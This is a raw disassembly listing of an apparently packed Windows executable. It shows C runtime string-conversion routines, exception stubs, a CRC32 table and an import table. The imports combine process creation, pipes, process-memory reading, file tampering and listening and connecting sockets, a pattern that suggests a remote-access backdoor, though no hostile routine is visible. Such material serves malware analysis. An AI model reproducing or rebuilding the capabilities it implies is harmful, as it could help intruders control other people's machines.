jle short loc_427146 push [ebp+arg_C] push [ebp+arg_8] call sub_4272C4 pop ecx pop ecx mov [ebp+arg_C], eax loc_427146: ; CODE XREF: sub_4270BB+79j mov eax, dword_4DE8DC cmp eax, 1 jnz short loc_42716D push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_428050 ; LCMapStringW jmp loc_4272B2 ; --------------------------------------------------------------------------- loc_42716D: ; CODE XREF: sub_4270BB+93j cmp eax, 2 jnz loc_4272B0 cmp [ebp+arg_18], esi jnz short loc_427183 mov eax, dword_4DE694 mov [ebp+arg_18], eax loc_427183: ; CODE XREF: sub_4270BB+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call dword_42818C ; WideCharToMultiByte mov [ebp+var_20], eax cmp eax, esi jz loc_4272B0 mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41C190 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_4271C9 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_4271C9: ; CODE XREF: sub_4270BB+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_4272B0 push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call dword_42818C ; WideCharToMultiByte test eax, eax jz loc_4272B0 push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call dword_428054 ; LCMapStringA mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_4272B0 mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41C190 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_42724C ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_42724C: ; CODE XREF: sub_4270BB+17Dj cmp ebx, esi jz short loc_4272B0 push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call dword_428054 ; LCMapStringA test eax, eax jz short loc_4272B0 test byte ptr [ebp+arg_4+1], 4 jz short loc_42728A mov eax, [ebp+arg_14] cmp eax, esi jz short loc_4272AC cmp eax, edi jl short loc_42727B mov eax, edi loc_42727B: ; CODE XREF: sub_4270BB+1BCj push eax push ebx push [ebp+arg_10] call sub_41BC60 add esp, 0Ch jmp short loc_4272AC ; --------------------------------------------------------------------------- loc_42728A: ; CODE XREF: sub_4270BB+1B1j cmp [ebp+arg_14], esi jnz short loc_427293 push esi push esi jmp short loc_427299 ; --------------------------------------------------------------------------- loc_427293: ; CODE XREF: sub_4270BB+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_427299: ; CODE XREF: sub_4270BB+1D6j push edi push ebx push 1 push [ebp+arg_18] call dword_4280E8 ; MultiByteToWideChar mov edi, eax cmp edi, esi jz short loc_4272B0 loc_4272AC: ; CODE XREF: sub_4270BB+1B8j ; sub_4270BB+1CDj mov eax, edi jmp short loc_4272B2 ; --------------------------------------------------------------------------- loc_4272B0: ; CODE XREF: sub_4270BB+66j ; sub_4270BB+B5j ... xor eax, eax loc_4272B2: ; CODE XREF: sub_4270BB+ADj ; sub_4270BB+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4270BB endp ; =============== S U B R O U T I N E ======================================= sub_4272C4 proc near ; CODE XREF: sub_4270BB+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_4272E3 loc_4272D4: ; CODE XREF: sub_4272C4+1Dj cmp word ptr [eax], 0 jz short loc_4272E3 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_4272D4 loc_4272E3: ; CODE XREF: sub_4272C4+Ej ; sub_4272C4+14j cmp word ptr [eax], 0 pop esi jnz short loc_4272F1 sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_4272F1: ; CODE XREF: sub_4272C4+24j mov eax, edx retn sub_4272C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4272F4 proc near ; CODE XREF: sub_427046+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_427334 cmp [ebp+arg_0], 100h jnb short loc_427318 movzx eax, [ebp+arg_0] mov ecx, off_43F61C mov ax, [ecx+eax*2] jmp short loc_42733B ; --------------------------------------------------------------------------- loc_427318: ; CODE XREF: sub_4272F4+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_427346 add esp, 18h test eax, eax jnz short loc_427338 loc_427334: ; CODE XREF: sub_4272F4+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_427338: ; CODE XREF: sub_4272F4+3Ej mov eax, [ebp+var_4] loc_42733B: ; CODE XREF: sub_4272F4+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_4272F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427346 proc near ; CODE XREF: sub_4272F4+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428DB0 push offset sub_423B80 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DE8E0 xor edi, edi cmp eax, edi jnz short loc_4273B5 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_428928 push esi call dword_428020 ; GetStringTypeW test eax, eax jz short loc_427393 mov eax, esi jmp short loc_4273B0 ; --------------------------------------------------------------------------- loc_427393: ; CODE XREF: sub_427346+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CE1C0 push esi push edi call dword_428024 ; GetStringTypeA test eax, eax jz loc_4274F7 push 2 pop eax loc_4273B0: ; CODE XREF: sub_427346+4Bj mov dword_4DE8E0, eax loc_4273B5: ; CODE XREF: sub_427346+2Fj cmp eax, 1 jnz short loc_4273D1 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_428020 ; GetStringTypeW jmp loc_4274F9 ; --------------------------------------------------------------------------- loc_4273D1: ; CODE XREF: sub_427346+72j cmp eax, 2 jnz loc_4274F7 cmp [ebp+arg_10], edi jnz short loc_4273E7 mov eax, dword_4DE694 mov [ebp+arg_10], eax loc_4273E7: ; CODE XREF: sub_427346+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call dword_42818C ; WideCharToMultiByte mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_4274F7 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41C190 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41BC00 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_427445 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_427445: ; CODE XREF: sub_427346+EAj cmp [ebp+var_2C], edi jz loc_4274F7 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call dword_42818C ; WideCharToMultiByte test eax, eax jz loc_4274F7 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41C190 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_42749A ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_42749A: ; CODE XREF: sub_427346+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_4274F7 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_4274AE mov eax, dword_4DE684 loc_4274AE: ; CODE XREF: sub_427346+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call dword_428024 ; GetStringTypeA mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_4274F7 cmp word ptr [esi], 0FFFFh jnz short loc_4274F7 push edi push ebx push [ebp+arg_C] call sub_41D300 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_4274F9 ; --------------------------------------------------------------------------- loc_4274F7: ; CODE XREF: sub_427346+61j ; sub_427346+8Ej ... xor eax, eax loc_4274F9: ; CODE XREF: sub_427346+86j ; sub_427346+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_427346 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_42750C proc near ; DATA XREF: .XPack0:00428F40o ; FUNCTION CHUNK AT 0040D666 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D666 sub_42750C endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_42752A mov ecx, [ebp+8] jmp loc_40D666 ; --------------------------------------------------------------------------- locret_42752A: ; CODE XREF: .XPack0:0042751Cj retn ; --------------------------------------------------------------------------- loc_42752B: ; DATA XREF: sub_40D241o mov eax, offset dword_428F44 jmp loc_41CF8B ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D666 ; --------------------------------------------------------------------------- loc_427540: ; DATA XREF: .XPack0:00428F6Co lea ecx, [ebp-1Ch] jmp loc_40D666 ; --------------------------------------------------------------------------- loc_427548: ; DATA XREF: sub_40D3E0o mov eax, offset dword_428F70 jmp loc_41CF8B ; --------------------------------------------------------------------------- align 4 loc_427554: ; DATA XREF: sub_40D947o mov eax, offset dword_428FC0 jmp loc_41CF8B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_426FE9 ; --------------------------------------------------------------------------- loc_427566: ; DATA XREF: sub_426BAEo mov eax, offset dword_428FE4 jmp loc_41CF8B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D666 ; --------------------------------------------------------------------------- loc_427578: ; DATA XREF: sub_426C23o mov eax, offset dword_42907C jmp loc_41CF8B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_426FE9 ; --------------------------------------------------------------------------- loc_42758A: ; DATA XREF: sub_426C80o mov eax, offset dword_4290A0 jmp loc_41CF8B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_426FE9 ; --------------------------------------------------------------------------- loc_42759C: ; DATA XREF: sub_426CC8o mov eax, offset dword_4290C4 jmp loc_41CF8B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D666 ; --------------------------------------------------------------------------- loc_4275AE: ; DATA XREF: sub_426D4Ao mov eax, offset dword_429124 jmp loc_41CF8B ; --------------------------------------------------------------------------- dd 292h dup(0) dword_428000 dd 7C80E866h ; resolved to->KERNEL32.FileTimeToLocalFileTime ; sub_417805+123r ... dword_428004 dd 7C833478h ; resolved to->KERNEL32.SetEnvironmentVariableAdword_428008 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_4265D3+261r dword_42800C dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_4265D3+B9r dword_428010 dd 7C832044h ; resolved to->KERNEL32.SetEndOfFiledword_428014 dd 7C80BCCFh ; resolved to->KERNEL32.IsBadCodePtrdword_428018 dd 7C809E01h ; resolved to->KERNEL32.IsBadReadPtrdword_42801C dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_424E33+6r dword_428020 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_4243B4+12Dr ... dword_428024 dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeA ; sub_4243B4+8Dr ... dword_428028 dd 7C812641h ; resolved to->KERNEL32.FlushFileBuffersdword_42802C dd 7C81DC03h ; resolved to->KERNEL32.SetStdHandle ; sub_423EF0:loc_423F43r dword_428030 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_4239CD+166r ... dword_428034 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; sub_423C91+143r dword_428038 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_42803C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_428040 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_42389B+E1r dword_428044 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_428048 dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsAdword_42804C dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_428050 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_42316A+14Dr ... dword_428054 dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_42316A+A7r ... dword_428058 dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeapdword_42805C dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_42700C+2Er dword_428060 dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_428064 dd 7C809915h ; resolved to->KERNEL32.GetACPdword_428068 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_420788+14r ... dword_42806C dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_40121E+7Ar ... dword_428070 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_40121E+2C9r ... dword_428074 dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_40121E+2B1r ... dword_428078 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_40121E+DAr ... dword_42807C dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_40121E+C4r ... dword_428080 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_40121E+1DEr ... dword_428084 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_401AA1+774r ... dword_428088 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_401AA1+7646r ... dword_42808C dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_417805+15r ... dword_428090 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessIddword_428094 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_40121E+3D1r ... dword_428098 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_42809C dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_40121E+20Fr ... dword_4280A0 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_410370+10Fr ... dword_4280A4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_4097DE+2r ... dword_4280A8 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_40121E+2FFr ... dword_4280AC dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_4280B0 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_401AA1+24FEr ... dword_4280B4 dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread ; sub_40B38F+27r ... dword_4280B8 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathA ; sub_4189E4+35r dword_4280BC dd 7C835E8Fh ; resolved to->KERNEL32.MoveFileAdword_4280C0 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_4097DE:loc_409CECr ... dword_4280C4 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_4174AA+60r ... dword_4280C8 dd 7C8216A4h ; resolved to->KERNEL32.GetComputerNameA ; sub_419C11+34r dword_4280CC dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoA ; .XPack0:0040AF63r dword_4280D0 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; .XPack0:0040ADAFr ... dword_4280D4 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_40B9E3+1ACr ... dword_4280D8 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4280DC dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_4280E0 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4280E4 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_40C485+241r dword_4280E8 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_40DB39+65r ... dword_4280EC dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_40EA40+19Cr ... dword_4280F0 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_40E952+94r ... dword_4280F4 dd 7C8312E5h ; resolved to->KERNEL32.TransactNamedPipedword_4280F8 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_40EA40+A4r ... dword_4280FC dd 7C8308ADh ; resolved to->KERNEL32.CreateEventAdword_428100 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_411968+119r ... dword_428104 dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandle ; sub_411BB6+77r ... dword_428108 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_40F219+10Ar ... dword_42810C dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipe ; sub_411ABD+23r ... dword_428110 dd 7C83632Dh ; resolved to->KERNEL32.GetTimeFormatA ; sub_41B0A1+1B6r dword_428114 dd 7C8361EEh ; resolved to->KERNEL32.GetDateFormatA ; sub_41B0A1+19Fr dword_428118 dd 7C810A77h ; resolved to->KERNEL32.GetFileSize ; sub_410CA0+38r ... dword_42811C dd 7C80EDD7h ; resolved to->KERNEL32.FindClose ; sub_417358+C0r ... dword_428120 dd 7C80E7ECh ; resolved to->KERNEL32.FileTimeToSystemTime ; sub_417805+135r dword_428124 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_41061F+5DCr ... dword_428128 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileA ; sub_417358+26r dword_42812C dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_4163CE+259r ... dword_428130 dd 7C81B58Bh ; resolved to->KERNEL32.SetConsoleCtrlHandlerdword_428134 dd 7C80A05Dh ; resolved to->KERNEL32.WaitForMultipleObjectsdword_428138 dd 7C873A31h ; resolved to->KERNEL32.GenerateConsoleCtrlEventdword_42813C dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_4138D3+2D4r ... dword_428140 dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequency ; sub_414628+FFr dword_428144 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_41D71B+Dr dword_428148 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; sub_418C2F+C3r dword_42814C dd 7C80F0F4h ; resolved to->KERNEL32.GetEnvironmentVariableWdword_428150 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_41767C+F5r ... dword_428154 dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_417805+4Ar ... dword_428158 dd 7C80ABC1h ; resolved to->KERNEL32.GetProcessHeap ; sub_417805+40r ... dword_42815C dd 7C80B9A0h ; resolved to->KERNEL32.VirtualQueryEx ; sub_4179A9+53r dword_428160 dd 7C8021CCh ; resolved to->KERNEL32.ReadProcessMemory ; sub_4179A9+95r dword_428164 dd 7C812D56h ; resolved to->KERNEL32.GetSystemInfo ; sub_4179A9+2Cr dword_428168 dd 7C82F7A0h ; resolved to->KERNEL32.FormatMessageAdword_42816C dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_428170 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLockdword_428174 dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFiledword_428178 dd 7C80B905h ; resolved to->KERNEL32.MapViewOfFiledword_42817C dd 7C80945Ch ; resolved to->KERNEL32.CreateFileMappingAdword_428180 dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_428184 dd 7C831C45h ; resolved to->KERNEL32.GetFileTimedword_428188 dd 7C8329D9h ; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_42818C dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_42316A+20Dr ... dword_428190 dd 7C80BAA1h ; resolved to->KERNEL32.lstrcmpiAdword_428194 dd 7C81AE17h ; resolved to->KERNEL32.GetExitCodeProcessdword_428198 dd 7C85F90Fh ; resolved to->KERNEL32.PeekNamedPipedword_42819C dd 7C830B14h ; resolved to->KERNEL32.GetLogicalDrivesdword_4281A0 dd 7C8310F2h ; resolved to->KERNEL32.GlobalMemoryStatusdword_4281A4 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_41B872+22Dr ... dword_4281A8 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_4281AC dd 7C8350BFh ; resolved to->KERNEL32.GetTimeZoneInformation ; sub_424EBC+38r dword_4281B0 dd 7C80176Bh ; resolved to->KERNEL32.GetSystemTimedword_4281B4 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_4239CD+59r dword_4281B8 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_4281BC dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_4281C0 dd 7C814AF2h ; resolved to->KERNEL32.GetEnvironmentVariableAdword_4281C4 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_4281C8 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_4281CC dd 7C809AE4h ; resolved to->KERNEL32.VirtualFree ; sub_41F016+120r ... dword_4281D0 dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_41EC25+51r ... dword_4281D4 dd 7C809E79h ; resolved to->KERNEL32.IsBadWritePtr dd 0 dword_4281DC dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; .XPack0:0042916Co dword_4281E0 dd 71AB46C9h ; resolved to->WS2_32.getsockoptdword_4281E4 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_413444+1F0r dword_4281E8 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoadword_4281EC dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_40FD24+8Er dword_4281F0 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_40FCA7+15r dword_4281F4 dd 71AB3EA1h ; resolved to->WS2_32.setsockoptdword_4281F8 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_41448F+6Er ... dword_4281FC dd 71AB3E00h ; resolved to->WS2_32.binddword_428200 dd 71AB88D3h ; resolved to->WS2_32.listendword_428204 dd 71AC1028h ; resolved to->WS2_32.acceptdword_428208 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_40FCA7+35r ... dword_42820C dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_40FCA7+41r ... dword_428210 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_40F0D3+45r ... dword_428214 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_40F6A7+1D1r dword_428218 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_40F0D3:loc_40F13Fr ... dword_42821C dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_40EFE5+45r ... dword_428220 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_40EFE5+C3r ... dword_428224 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_40F6A7+106r dword_428228 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_42822C dd 71AB951Eh ; resolved to->WS2_32.getsockname dd 2 dup(0) dword_428238 dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh byte_428638 db 2Eh, 0 ; DATA XREF: sub_401AA1+342Co 